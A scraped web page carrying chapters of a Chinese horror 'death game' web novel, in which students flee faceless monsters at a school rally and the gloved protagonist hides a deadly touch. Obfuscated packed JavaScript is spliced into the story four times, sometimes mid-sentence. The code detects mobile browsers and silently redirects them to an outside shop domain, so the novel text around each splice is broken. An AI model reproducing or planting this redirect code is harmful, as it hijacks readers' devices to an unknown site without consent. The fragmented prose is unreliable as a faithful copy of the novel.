;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159630|196586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可出绿色围栏。出去即死。】 【剩余任务时间：「00：58：12」。】 恰好在这个时候，14班的无脸男生们突然动了起来。 大概有十几个，依旧是坐姿，可是他们的双手却不安分地向女玩家们摸索。 紧接着，便是16班的无脸女生们，也开始挥动起了双手。 【1108326号玩家，剩余次数：9】 【3216755号玩家，剩余次数：7】 【2415861号玩家，剩余次数：3】 【4736211号玩家，剩余次数：9】 【2415861号玩家，剩余次数：0（已同化）】 ......... 【无编号玩家，剩余次数：9】 【无编号玩家，剩余次数：8】 【无编号玩家，剩余次数：7】 方酌言紧紧皱着眉，脸色极差。 他讨厌这种触碰。 很不礼貌。 也很不友好。 但其实，要想不被无脸人碰到，还是很简单的。 那便是——远离学生区域。 就目前情况来看，这些无脸学生是无法离开自己座位的。 只能靠挥动双手来攻击玩家。 那么，只要不在他们双手攻击的范围内就行。 可问题来了，怎么离开。 男女各一列......其导致的后果，便是在撤离出去的时候，难免会被无脸人碰到。 正如现在一样。 尽管玩家从前后两头男女并排跑，也少不了一顿来自邻班同学的热情触摸。 更别说，像方酌言这种被放在中间位置的玩家了。 运气值特差。 但好在他比较瘦，又经历过SFZY的特殊训练，身形也算敏捷。 不然就要跟后面那位老大哥一样，还没来得及撤离，便已同化为无脸人了。 最终，在彻底远离了无脸人的攻击范围后，方酌言的剩余数值，停止在了【2】上。 醒目的红色【2】。 他缓口气，又把目光放到了面板上的【玩家剩余人数：42】。 除却在15班教室里死的左护法，便是说，截止目前，因同化而死的已经有6位了。 方酌言抬首一瞧。 被同化的六位玩家，全身早已经异化成了无脸人，正端坐在15班区域内，诡异地摆动双手。 他垂下眼。 ......差一点，他也要变成那其中之一了。 方酌言右手一抬，由黑皮手套掩住的食指轻轻在面板上滑过。 异端信息更新了。 【异端名称：无脸人（学生）】 【攻击方式：手部挥动（不能离开自己的座位，攻击范围有限）】 【弱点：不能随心移动，害怕远距离攻击的武器】 “远距离攻击嘛......” 旁边有人轻笑了一声。 声音很熟悉。 是楼宿雪。 对方语气轻淡道：“这可有些难办呢。” 方酌言问：“难办什么？” 楼宿雪“嗯？”了一声，他像是有些意外提出问题的这道声音，旋即望向方酌言，弯着眸笑了起来： “刚刚是你在说话吗，我没有听清哎。” 楼宿雪走了几步，往方酌言跟前靠了靠，视线似是无意瞥到了对方的那双手，漆黑的眼睛一眯。 带着不怀好意地笑： “一早就想说了。还挺性感的。” “......” 方酌言的脸色瞬间变得黑沉。 性感个鬼。 楼宿雪的视线太过炽热，盯着对方的那只手看了好一会儿。就像是陷入了某个久远的回忆，神情难以察觉地落寞起来。 良久，他的思绪才被人叫回，只听面前之人冷冷道：“楼宿雪。” “你为什么说难办。” 楼宿雪几不可察地一愣，随后目光上移，望着方酌言的那张脸，转瞬一挑眉。 他此刻的心情还算不错，细心地解释说：“我是无编号玩家，所以开不了兑换商城，同样也换不了游戏道具。另外，个人直播间也是开不成的。” “这就意味着，我赚不到副本任务外的打赏积分。” 说完后，他还假装性地擦了两下莫须有的眼泪。 代表自己此刻的心情还是有些小伤心的： “真的好惨呢。” 4. 李华的世界 方酌言被对方夸张的表演给震住了。 他没眼看地撇开头，再次调出了玩家面板，看了一下任务栏里的【支线任务二提示】。 但很快也意识到了一件事。 ——楼宿雪也是无编号玩家。 可是......他却知道得很多，并不像是普通的新人玩家。 方酌言不由自主地皱了一下眉。 “喂，言言。” 楼宿雪轻笑着，挑逗道。 方酌言在听到“言言”这两个字时，起先还没反应过来。 以为是楼宿雪在叫旁边的人。 比如，在场的某位女性。 直至对方悄无声息地走到了自己的身后。 方酌言感受到了那份靠近。 很近很近，几乎可以说是紧贴着他的后背。 身体一瞬间紧绷起来。 楼宿雪呼出的热气绕在方酌言的耳朵上。 方酌言一愣怔，想要向前迈出一步，远离这该死的人。 却很是无奈的，被对方察觉到了这一想法。 楼宿雪伸出一臂，握住方酌言正放在面板上滑动的右手，使得身前人不能离开自己。 他轻笑一声，“言言。” “我好想看看，你这手套底下遮住的手，到底藏匿着什么。” 语气又极其暧昧地：“真的，好想知道啊。” 方酌言的怒火彻底被点燃了，忍无可忍地闭了闭眼，冷冷道：“松开。” “......”楼宿雪宛若小孩子般气鼓鼓着，依偎在方酌言的身上，“我不。” “......” 今天，方酌言算是开尽了眼。 第一次见识到，什么叫作“帅哥耍无赖的威力”了。 饶是他颇有定力，也实在是忍不下去了。 左手肘一折，打算肘击对方腹部。 结果，身后人像是预感到了这一切，身体迅速往右一撤，灵敏地避开了这道肘击。 旋即，楼宿雪又扯过方酌言的手，将他拽到自己的身后。 紧接着，朝前方抬脚，用力一踹。 “砰”的一声。 将冲奔而来的无脸人踢出了三米之外。 方酌言怔住。 ......会走动的无脸人？ 他只听楼宿雪轻呵了一下： “搞偷袭的可不是什么好师长。” 方酌言视线一转，蹙着眉观察起了操场上的情形。 倏忽间，周围的玩家开始四处逃窜。 等等。 他们都忽视了一件事情—— ——无脸学生是不能出自己座位的范围，可他们的老师却不包括在其中。 操场上还有三十多位班主任，是可以自由移动的。 简单来说，这些班主任同样是无脸怪物的一种。 绝望的尖叫音骤然出现，响彻天际。 那是玩家们面对死亡而恐惧的嘶吼声。 【叮咚！】 【异端信息已更新。】 【名称：无脸人（老师）】 【攻击方式：游荡抓捕（手部碰到一次即次数减一。操场上全范围攻击，几近无弱点）】 【3216755号玩家，剩余次数：5】 【2415861号玩家，剩余次数：0（已同化）】 【4736211号玩家，剩余次数：4】 【3216755号玩家，剩余次数：0（已同化）】 ......... 看不见的弹幕一条条往下滑： 【归零归零！再归零！一个支线任务，居然死了这么多人嘤嘤嘤......可怕！】 【亲爱的，别质疑哦。虚无本一直不都这样嘛，虽说属于「虚无」体系的副本只要走完主线就ok，但里面的支线任务却是一个比一个的地狱难度。】 【嘁，在B级副本里，死几个新人不是再正常不过的吗。这个副本有S级大佬在里面刷材料，主线结局肯定能打通。】 【就是就是！有咱澜哥在呢，还怕通关不了？】 【是我知道的那个「白鲨」范云澜嘛？！】 【对对！就是他！】 ......... 方酌言抬眼一看。 红色塑胶跑道上有几名玩家正在接受同化的洗礼，以肉眼可见的速度变成了无脸人的一员。 极为痛苦地跪倒在地，整颗头颅被蠕动的粉色肉球包裹。 更令人绝望的，是那些被同化成功的玩家，开始无意识地攻击起了其他尚是正常的玩家。 ......原来，被无脸学生同化的会归类为“学生”。而遭受无脸老师同化的，则被归类为“老师”。 但“老师”的增加，无疑给他们添了不小的麻烦。 冰冷的系统电子音传入方酌言的耳朵： 【剩余任务时间：「00：36：32」】 【玩家剩余人数：34】 方酌言皱起眉来。 ......34。 又死了8个。 这个死亡速率，可谓是不低。 他透过楼宿雪，侧头一瞧。 刚才被楼宿雪一脚踢出三米远，差点饮恨西北的无脸人正慢吞吞爬起。 没有任何装饰的脑袋被踹得变了形，本来是个正圆，如今扭曲成了不规则椭圆。 脑门也颇为滑稽地凸出去了一小块，从其中还流出了一小汩鲜血。 即便是这样，也还是没能死掉。 方酌言抿了抿唇。 他在想，无脸老师会怕什么。 学生的是范围限制，那老师呢？ 老师游荡在操场，但也仅仅只是在「操场」上。 可是出了「操场」的绿色围栏，便只剩下一个「死」字。 方酌言被楼宿雪护在身后，望着再一次被踹里半里地的无脸人。 不对...... 还有一个地方，或许不属于「操场」。 他抬起眼，向后转身。 眼睛毫无波澜地望着主席台。 百日誓师大会上，尚未开幕，校领导也未至。 而照常理来讲，班主任老师一般都会在台下管理各自班级的秩序...... 那么，唯一算得上安全的地方，可能就是主席台了。 “楼宿雪。” 方酌言扯了扯对方的校服。 “嗯？” 楼宿雪刚解决完左右两侧袭击而来的滑稽肉球人，玩得正起劲呢。 他听身后人语气平静地说了句：“去主席台吧。” 楼宿雪点头。他也不问为什么，就后脚跟上了方酌言跑。 很快，两人大跨步式地上了主席台。 不出所料，方才还紧追不舍的无脸老师，被类似于结界之类的东西，给拦在了台阶外。 若是此时的它们有五官，那么表情必然是面目狰狞的，一副似是要活吞了台上之人的模样。 可惜，它们无脸。 甫一，无脸人像是受到了程序的自动化，见人抓不到，也就散去了。 重新物色起了新的抓捕对象。 方酌言缓口气，望向操场上狂奔躲避无脸人追击的玩家们。 好巧不巧，与正要奔向主席台的一位男玩家对上了眼。 那名玩家，显然也是想到了「主席台」的用处。 在见证他们平安登上主席台后，方才快速跑了过来。 同样是身穿校服，可那名玩家却给人一种桀骜不驯的感觉。 骨相硬朗，梳着港式背头，嘴角噙着笑。 与方酌言四目相对，还有空余做了个“wink”的动作。 “他很好看吗？” 楼宿雪站在一旁，顺着方酌言的视线去看那名玩家。 听不出语气的好坏，但方酌言觉得，楼宿雪一定是在生气： “言言，我觉得他没我好看。” “......” 方酌言目光一转，瞪着楼宿雪，冷冷道：“你是脑子有病吗。” 楼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他情绪不明地叹了口气。 单看任务，其实并不难。 只要破解了【复读生】是谁后，苟到指定人数的【28】，就能完成任务。 但，这是一件很残忍的事情。 方酌言垂下眼。 倘若所有玩家都意识到【复读生即是玩家】，登上了安全区域【主席台】......要选出【28】名存活者，只有一条路——互相残杀。 即便只有少数人能意识到，那也很残酷。 见死不救，人性将会渐渐泯灭。 方酌言很快回神，收回面板。 耳边萦绕着台下崩溃嘶哑声。 他一脸平静地望着那些生不如死的玩家们。 有正往这里跑的，有跑在半路上突然被同化了的，还有只顾躲避没有注意到【主席台】的...... 这个游戏，在抹消人类的良知。 它不该存在。 它本该消失。 这是方酌言心中所想。 很奇怪的，会多想到这一步。 哒哒哒！ 思绪被拉回。 那名桀骜不驯的玩家一路小跑冲了上来。 扬着笑，直奔着方酌言，顿住脚......本想跟那位白发美人打声招呼，可是没想到，被美人身边的英俊护卫给紧急拦了下来。 楼宿雪半抬着手臂，嘴角虽然是弯着的，但他眼底的笑意却未达眼底。 他眯起眼睛，紧盯着冲奔上来的这个人。 冷笑一声：“停车地带到了。再冲就要撞车了呢。” 还很是不友好地给人家归了类，起了个颇为形象的外号：“呵呵，矮冬瓜。” 5. 李华的世界 矮...... ......矮冬瓜？ ？？？ ！！！！！！ “我靠！你骂谁呢你！老子身高一米七八，四舍五入就是一米八！哪里矮了！” 说完这句话后，他就翻了个白眼，表明目前并不想理这个白痴的护花使者，转而将视线移到了白痴身后的白发美人身上。 一愣，然后露出两颗小虎牙，痞气满满地一笑：“你好啊！学弟！我是比你大两届的学长，德克斯华大学海洋学专业的范云澜。” 学长......？ 方酌言有些疑惑。 直播间划过来的弹幕也在疑惑，几乎满屏的【？？？】。 范云澜：“你不认识我很正常，毕竟我也不是什么很出众的人。但我认识你就够了。” 方酌言听得一头雾水：“认识我？” “对啊！学弟你还不知道吗，你现在在德克斯华可出名了。虽然学弟你人还没报到，但传言中你的异能可谓是出了名的神秘，异能等级又那么高......” “矮冬瓜，”楼宿雪忽然冷冷地开口，“我劝你先闭上嘴。” 范云澜头顶青筋暴起，他这次是真的生气了，没有人会喜欢被叫这种死外号。 他怒不可遏地盯着楼宿雪，“你再叫一声试试看，看我不......” “闭嘴。” 这次是方酌言开的口。 范云澜顿住。 他见对面两人的眉头早已倒竖，且都轻微地往后移了两小步。 即便再不知所谓，此时也会察觉出不对劲来。 后背透着一股凉意，寒冷刺骨，就像是身后紧贴着一大块冰。 范云澜没有回头，因为他已经从楼宿雪的瞳孔中看到了自己身后的那个“人”。 一个半透明的畸形怪物。 它是突然出现在这里的。 在温和的日光下，透明的身形渐渐展现出来，越来越具象化。 这不是什么幻觉，范云澜也并没有看错，他能清晰地感受到后背那丝微小的触碰感。 他现在比任何时候都要清醒。 那怪物有着两颗脑袋，但它任何一颗脑袋都长得不是“人样”。 左边是牛脸，右边是马脸。 比传说中的地府勾魂使牛头马面还要可怖。 一身两头，两张脸都生着结了痂的黑紫血疮。 左边牛头的鼻子被某种钝器打歪，沾着早已经干掉的血，斜在右脸颧骨上。右边马头的双目蒙着灰色粗布，上面染着两个血色大洞，凸起的马嘴恰好戳到了范云澜的后脑勺。 马嘴诡异般大口张开，流出腥臭的口水，还好巧不巧地粘在了范云澜的头发上，似乎下一秒就要将他的头一口吞下肚。 ——画面定格在这一刻。 范云澜态度大转变，全身的肌肉紧绷起来，嘴角抿成了一条直线。紧接着冷静转过身，面向合体版牛头马面，眼神随他的动作犀利地一划，仿佛有红光流动。 边回头边从工装裤的口袋里掏出一把银光蝴蝶刀。细看起来，上面还贴着一小张不符合刀身气质的蜡笔小新贴纸。 蝴蝶刀旋转在范云澜的手心，一折一合再一折。 动作快准狠，仅是眨眼间的工夫，利刃就捅进了牛头马面的心口。 “啊——！！！” 怪物向后退了一步，双臂张开，两张脸互相对着，痛苦地嘶吼。 【异端信息已更新。】 【异端名称：政教处主任（异化版）(未完全体)】 【等级：C级（目前）】 【其他介绍：幽魂一样四处游荡，最爱吃的东西是人脑。会隐身，长相严厉——你永远也不知道它下一秒会出现在哪里。】 【攻击方式：①马头嘴部咬合；②牛头？？？（未完全体，暂不可查看）】 【弱点：？？？（未知，待探索）】 “走！” 范云澜收起刀，转过头去看方酌言他们，谁料到那两人早就一口气跳下主席台跑没影了。 楼宿雪还很有闲心地回头对他一笑，点了个赞：“很帅。” 范云澜怒火再次被点燃，但他来不及mmp，因为身后还有个会吃人的怪物。 于是他也跳下了主席台，很快跟上了两人。 “时间还有多少？”范云澜问。 方酌言：“差不多二十分钟。” “......” 楼宿雪：“时间过得好慢啊。不是说选出28名复读生就行了么，现在还活着的玩家不正好28个。” 这句话却突然点醒了方酌言。 提示里的「名额有限」，不是说找完28名复读生就结束了，而是需要达到两个硬性条件才能走出里世界。 一个是只有28个名额，一个是时间「60分钟」。 换句话说，玩家是要苟活一个小时的，在保证自己不被异化的同时，去争夺那28个存活名额。 只是如今看来，他们已经不需要去争那个名额了，首要目的就是活过这二十分钟。 “等等！” 范云澜顿住脚，叫住了前方两人。 方酌言回头看他。 范云澜身为S级玩家感官惊人，他表情凝重地一问：“你们有没有感觉到，地面在''砰砰砰''地鼓动......就像是心脏在跳动。” “什么......”方酌言不解，但听范云澜这么一说，脚底下确实有什么东西在鼓动，不过很细微。 几乎不可察觉。 “小心！” “罪——人——！” 两种声音几乎同时响起。 前者是范云澜着急的声音。 而后者空洞粗犷，是从地里发出来的声音。随之而来，“砰”的一声从地底钻出了巨型的「政教处主任」。 方酌言被楼宿雪快速一抓拽到身后，旋即跟随范云澜退出二十米远，其间又躲过了无脸人的一次进攻。 方酌言冷冷地看着比方才高出一两倍的牛头马面，它至少有三米高。 怪物的心口流着汩汩的黑血，有几滴滴到地上，瞬间熔化了红胶跑道。 ——硫酸。 三人蹙着眉，反射性地屈起手指抵在人中上。 牛头马面的血化成了强硫酸。 刺鼻的味道迅速散开，流进所有人的鼻腔，使人窒息。 方酌言感到右手上有一丝不对劲来。 抬手一看——一滴极小的黑色血珠竟然溅到了他的手套上。 眉头又拧了起来，心情糟糕透顶地摘下右手的那副手套，露出跟白玉一样透到发光的手。 直播间一片【斯哈斯哈】声。 【这不挺漂亮的一只手嘛......干嘛藏着掖着。】 【嘁，这你就不懂了吧，很简单用来装帅的呗。】 【行行行，你是懂王行了吧！】 ......... 方酌言只摘了一副手套，左手手套完好无损的情况下他是不会动的。 若非沾了强硫酸，不摘就会腐蚀掉他的手......只是从现在开始，他就要小心谨慎些，不可触碰到那些跳动的生命体了。 楼宿雪跟范云澜看着他的动作，皆是一怔。 方酌言选择忽视掉他们的目光，不耐烦地看着最前方奔来的【政教处主任】，语气冷到都能掉冰碴： “散开，它就要来了。” 三人再次开跑——不是方酌言愿意跑，而是手头上确实没有什么能用的攻击武器。 身后的怪物紧追不舍，整个操场都随着它的步子振动，再加之周围又随时随地刷新出新的无脸人突袭......但好在【主任】高大却笨拙，每走一步都要停一下，而【老师】像是害怕【主任】一样，有的甚至要躲着这边。 “喂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159632|196586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，学长。”楼宿雪问范云澜：“我看你等级不低，游戏背包里就没有什么武器之类的拿来治治【主任】吗？” “......”范云澜皮笑肉不笑地说：“很遗憾地告诉你，我是「近战系」玩家，武器也都是近战类的......本人暂时还不想被强酸溶解掉。” ——所以啊婉拒！婉拒！懂吗！ 就算朝【主任】攻击，恐怕还没刺进去，武器就被它融解了。 没有用不说，熔解掉的武器可是他闯关很久才得来的武器，有的甚至是拿命取来的冶金材料进化锻造的。 舍不得......舍不得...... “唉，可咱们也不可能一直跑啊。”楼宿雪说得心都快碎了，“难道我就要成为这世界上第一个跑死的人了吗......不要啊。” 他有趣又诡异的思维属实是把范云澜震惊到了。范云澜嘴角一抽，无语道：“武器没有，但没说道具没有。” 但那道具他并不是很想拿出来，有些......羞耻。 “有你就拿出来用啊，有什么比命还重要的东西吗？”楼宿雪用看脑残一样的眼神去看范云澜。 范云澜：“......” 有。他的面子。 【哈哈哈哈哈哈——】 【「白鲨」说的道具不会是那个芭比娃娃精灵套装吧，超级粉嫩粉嫩，可爱得要死的那个......】 【我想起来了！上上上上个副本结算奖励的「爱之丘比特」！道具使用起来很简单，一键换装变粉红小蝴蝶。虽然抽象，但佩戴后能达到周身五米内的人隐身。】 【别想了，咱家范冬瓜可是出了名的要面子，宁愿死也不会穿......噗！这是什么世纪丑画！】 满屏都在扣叹号、刷喷鼻血的贱笑表情包—— 只见范云澜头戴小精灵发箍，背后挂着闪着廉价霓虹灯的小精灵翅膀，手里还多出来一根蝴蝶魔法棒。 全系列的粉色，与青春版校服产生了巨大的违和感。 他想死的心都有了。 别说三室两厅了，一栋三层小别墅连带着地下车库，想必范云澜此时都能用脚抠出来。 【道具名称：隐形的翅膀（已使用）】 【次数：一次性消耗品】 【效果：佩戴后，对于玩家五平方米内的活人，可短暂达到隐身效果，不被任何事物察觉。（时限10分钟）】 刹那间，整个世间都像是忘却了他们——异端们呆愣一瞬，如同被格式化了般不再追逐他们。 范云澜自闭般蹲着，用没拿魔法棒的那只手遮着整张脸，身体抽动，像是在憋笑又像是在忍着哭。 具体的表情恐怕只有他自己知道了。 方酌言站在一边，一副全然事不关己的模样，没有一丝表情展露。 反观身旁的楼宿雪，低声窃笑，噗嗤噗嗤个不停。 楼宿雪笑了好一阵子，才将视线移到方酌言的身上——对方用戴有黑皮手套的左手摩挲着白皙的右手，垂着视线似乎是在思索着什么，又或者说是在盘算着什么。 可那绝不是开心的样子。 正如楼宿雪看到的那样，方酌言确实在想某些事。 他在想，自己以后最好多带几副手套出门。 “为什么在难过，方酌言。” 楼宿雪轻声问道。 这还是他第一次叫“方酌言”这三个字。 方酌言没有抬头，只是盯着那两只手看。 “我没有。”他语气冷漠，“我只是......” “只是什么？”楼宿雪紧紧追问，出乎意料地一把抓住了方酌言的右手腕，“你在害怕什么。”他视线下移，半眯着眼睛，看向那只右手：“它吗？” 方酌言愣住，旋即抬头望着楼宿雪，心情顿时五味杂陈，愠怒中掺杂着不可置信： “楼宿雪，你很想死吗？快放开我！” 6. 李华的世界 “......” 楼宿雪没有松手。他能感受到，方酌言在抖。 身体极其微细地在颤动。 不知道是被气得发抖，还是因为预感到某些将要发生的事情而感到害怕。 ......这当然不是楼宿雪想看到的情形。 双方僵持不下，你瞪着我，我瞪着你，大眼瞪小眼般气氛诡异得要死。 良久，“松开。”方酌言率先打破了这份诡异。 楼宿雪没有回话，他只是静静地看着对方又压低了几分眉头，突然很有眼力见地将手移开，收到自己的校服口袋，讨好似的笑了笑：“别生气啊，言言。我向你道歉。” 期间，他还不小心碰到了方酌言的小拇指——好吧，他就是故意的。 冰凉的触感，一瞬即逝。 方酌言却像是见到了鬼一样惊住了。 他看着自己右手的小拇指。 居然......居然没出事...... ——怎么回事？ 方酌言有一个秘密。 那是一件足以铭刻心底的事情。 曾经有很多人问过他：“为什么一定要戴手套？”“难不成你家里人还特意给你的手买了份保险吗？”“一直戴着不会不舒服嘛？” 方酌言的回答只有一副冷表情。 但他心里清楚，那是不舒服的。 极其的不舒服。 可他不能摘。 所有被他那双手触碰到的正规生命体，都会立马死亡。 而这其中死去之人，包括了他的生身母亲。 戴上以弱化异能的科技材料所制成的黑皮手套——这是他家里人唯一能想到抑制他“死亡”能力的方法。 在全球异能特控局里，所收录的异能者档案上，方酌言被划分为「重度监控人员」、「特级危险异能者」，以及——「超S级实验体No.1」。 档案中，他的异能等级用刺目的红字标着：不可估测，暂为「S+高危险级异能」。 异能能力：「归寂之手」。 意思是——【凡经吾手，死亡必降于汝身，永赴神之国度】。 这也是方酌言前往德克斯华大学进修的原因。 那所大学专供异能者们学习，同样也是培养异能者的地方。 所以方酌言必须去。 他要找到「归寂之手」的解法，即便只是找到抑制着给予他苦痛能力的办法，也是好的。 但方酌言很意外的是，眼前之人......碰了他的手，居然还能好好地站在这里。 他有接受过SFZY的异能实验，实验证明在生命体触碰到他手的下一秒，对方生命活动停止，骨骼软化，血液倒流......极其怪异性的死亡。 ——可如今，楼宿雪却活下来了。 “你......” 方酌言抬起头，冰冷的面孔上好像有了短暂的回温。 他刚想开口，却被楼宿雪止住了。 楼宿雪吹了个流氓哨，扬了扬下巴，示意方酌言转头往侧后方看看。 方酌言紧紧抿着唇，带有疑惑的表情回过头。 紧接着：“......” 他看蠢货一样看着某个粉红色的不明物体。 ——范云澜穿着一身粉嫩小套装蹲在地上，两手托着腮，一副好奇心爆棚再加上亿点想吃瓜的呆子表情......他就这么盯着方酌言跟楼宿雪，仿佛已经陷入了某种忘我的境地。 范云澜：“啊哈哈......” 好尴尬！超级无敌宇宙爆炸级的尴尬！ “蹲那干什么呢，少年。”楼宿雪没憋好屁地笑着，欠欠地：“啊~说错了。现在该叫你「美少女」。” 范云澜猛地站起，气愤地对楼宿雪竖了一个中指：“我操你大爷的！” 楼宿雪也不生气，他摊开手，心平气和道：“对不起啊，我没有大爷。” “......”谁问你了！ 方酌言见他们两人一吵一闹的小学鸡行为，想问的话瞬间就被吞下去了。 但这也让方酌言意识到，楼宿雪似乎是在有意躲避他的问题。 ......虽然表现得不是很刻意吧。 这时，玩家面板自动跳出来，像是在宣告生与死的倒计时。 【剩余任务时间：「00：08：00」】 【玩家剩余人数：21】 21。 一个令人窒息的数字。 原本的49人，仅在个把个小时就被“刷”下去一大半。 方酌言不敢想象，在这个所谓「命运之轮」的游戏里，一天究竟会有多少人失去性命。 “......”他闭了闭眼。 ——那自己呢？又会活到什么时候。 “「美少女」 ，不是我说，你这道具游戏有些鸡肋啊。”楼宿雪不满地啧啧了两声，“看起来等级不是很高的样子呢。” “C级的小道具罢了。”范云澜大拇指伸起，指向身后粉色翅膀，小虎牙一露，嗤笑道：“这样的小翅膀，你哥我还有十个。怎么，你想戴个？” 楼宿雪一只手抵住下巴，想了想，甫一点点头，不害臊地嘻嘻：“你给我我就要。” 旋即就听范云澜嘿嘿了两声，立马掏出了一套骚紫色的小精灵套装，然后交给了楼宿雪。 ——男人谜一样的友谊就此结成。 站在一旁观看正陷入深思的方酌言：“......” 好吧，他不理解，但尊重，且祝福。 楼宿雪的第六感还不错，他敏锐地察觉到方酌言的视线，扭头去看对方，将新得来的小翅膀举起，嘴角依旧勾着笑： “言言，你也想戴吗？” 方酌言摇摇头：“不了。” 他视线下沉盯向小翅膀，又很快抬上去，再次看向楼宿雪的那张俊脸。 方酌言想不明白，为什么一个人会有如此大的反差......那不像是一个成年人，更像是一个几岁的小孩，对这世上的一切都充满好奇心。 ——幼稚的一个孩子。 尚不知被定义为“幼稚”的楼宿雪将道具收到系统背包里，并盘算着找个好点的时机穿戴那套服装。 他不会真的傻到在大庭广众之下穿。 伤害他人眼睛的事，楼宿雪是绝对不会做的。 嗯......自己人就另算啦。 世界一旦静下来，那么时间将会变得十分漫长。 但对于方酌言他们来说，却又过得特别快。 「隐形的翅膀」说是有着隐身的能力，但它并非严格意义上的隐身。 在方酌言看来，它的作用更像是让身处于隐身范围里的人，变为灵魂状态似的“透明”。 即，逃乱的玩家与发狂的异端能穿过他们三人的身体。 依此推理，那他们进入这个里世界的，是否只是灵魂被拉入了，身体还在教室里。 方酌言问过范云澜，范云澜说他自己也不知道是什么情况，这是第一次使用翅膀道具，具体作用也不是很理解，兴许是道具本身出了bug也说不准。 可方酌言并不这样认为。 如此精明准确的系统副本思维，比现实里任何一种科技都要令人赞叹，怎么可能允许这种错误存在。 或许范云澜的想法是对的，但方酌言所猜想的却更贴合副本的残酷。 如果真如方酌言所想的那样，在这个副本，里世界就不会只有这一个“里世界”，恐怕他们还会通过某些契机，以“魂”的形式，传到其他“里世界”中。 方酌言想着想着，轻声叹了口气。 良久，他垂下眼，没有很刻意地在看什么，只是无意识地盯着那只曾被触碰过的小拇指。 世界不是仁慈的。 它对每一个人都抱有恶意。 方酌言现在很想知道，到底是谁创立的这个游戏，又是什么时候创立的，创立的目的究竟为何...... 那些尚且活在现实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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【已触发无编号玩家（？？？系统故障）的个人技能——「归寂之手」】 【技能介绍：当子民生出对你的贪婪之心时，便是神索取他生命之际——凡经吾手，死亡必降于汝身，永赴神之国度。】 【技能名称：1.汲取生命】 【该技能效果：被动性吸收掉他人的生命值，并转化进你的生命值中。（其他效果待解锁中）】 【叮咚！】 【无编号玩家，剩余次数：0（已......）】 下一秒，使直播间沸腾的事发生了，系统播报短暂卡壳了半秒。 楼宿雪不知从哪里飞快窜过来的，一脚踢开那个早已异化成无脸人的女玩家，一臂环过方酌言的腰，脸色不怎么好看地握上了方酌言的右手。 十指交融，却都是冰得要死。 方酌言也卡壳似的，抬头望着楼宿雪，心理活动堪称丰富多彩，但脸上的表情仍旧未变。 楼宿雪半垂下眼，漆黑的眼瞳竟然发出细微诡异的金光。他看着怀中之人，紧紧扣着对方的那只手，力道其实并不算重，至少在方酌言看来是这样。 楼宿雪一声哂笑：“亲爱的，你怎么会这么不小心呢。”他顿了半秒，松开与方酌言紧紧相握的那只手，食指挑起方酌言的下巴，迫使对方直视自己的眼睛。 “怎么办，我好像要疯掉了。” 【玩家「无编号」，向无编号玩家转入「3」次数。】 【玩家「无编号」，剩余次数：7】 【无编号玩家，剩余次数：3】 【剩余任务时间：「00：00：00」】 【玩家剩余人数：11】 【支线任务二完成，奖励发放成功——回到真实的世界。】 【支线任务一，已恢复进度条。】 【剩余任务时间：0秒。】 【任务完成，奖励副本探索度5%】 【目前副本探索度：7%】 【目前副本任务进度：4%】 【请本场存活玩家，再接再厉！】 7. 李华的世界 其实，楼宿雪的最后一句话方酌言是没有听清的。 在系统巨响电子音的影响下，方酌言只看到楼宿雪的嘴唇上下一张一合，说了一句“怎么办”。 至于“怎么办”的后面是什么......方酌言就不知道了。 因为这个空间，再次二话不说地变得漆黑。 耳边只环绕着那五个字：“无编号”，跟，“玩家”。 方酌言也是这个时候明白过来，楼宿雪跟他是不一样的——楼宿雪的「无编号」指的是他在游戏里的玩家代号，并非同自己一样真的没有编号。 ......所以系统才说楼宿雪是“玩家「无编号」”，而非是“无编号玩家”。 另类的字眼游戏......方酌言还有很多问题不解，可其中最为想知道的是——楼宿雪为什么还活着？ 第一次貌似不经意的触碰，方酌言可以认为是对方的衣物不小心划到的。 可第二次呢？ 紧密贴合的两只手，还有那极具攻略性的视线......怎么看都不像是“无意”的。 ......既然「归寂之手」在游戏里被算作了他自己的技能，且用了出来，就说明那双手所碰之物依旧会死——可楼宿雪为什么就不会呢？ 除非......楼宿雪本就不是个“活人”。 这个想法让方酌言感到后怕，此外，还有一丝难以讲出来的兴奋感。 就连他自己都不清楚，为什么会有那丝异样的兴奋。 来不及再想，眼前渐渐出现明光。 比起进入里世界，出里世界相对更快些，光源也更温和一些。 大抵是任务完成了，人也活着，心也安了的原因吧。 方酌言睁开了眼睛。 他先是看了眼自己的手，发现右手上不出所料地没了手套，旋即一抬头，发现旁边的座位空空如也，想来是楼宿雪比他早回来些许。 里世界的时间与实际时间是不一样的，里世界一个小时相当于实际时间的几分钟。 现在算是下课时间，方酌言盲猜楼宿雪是出去了。 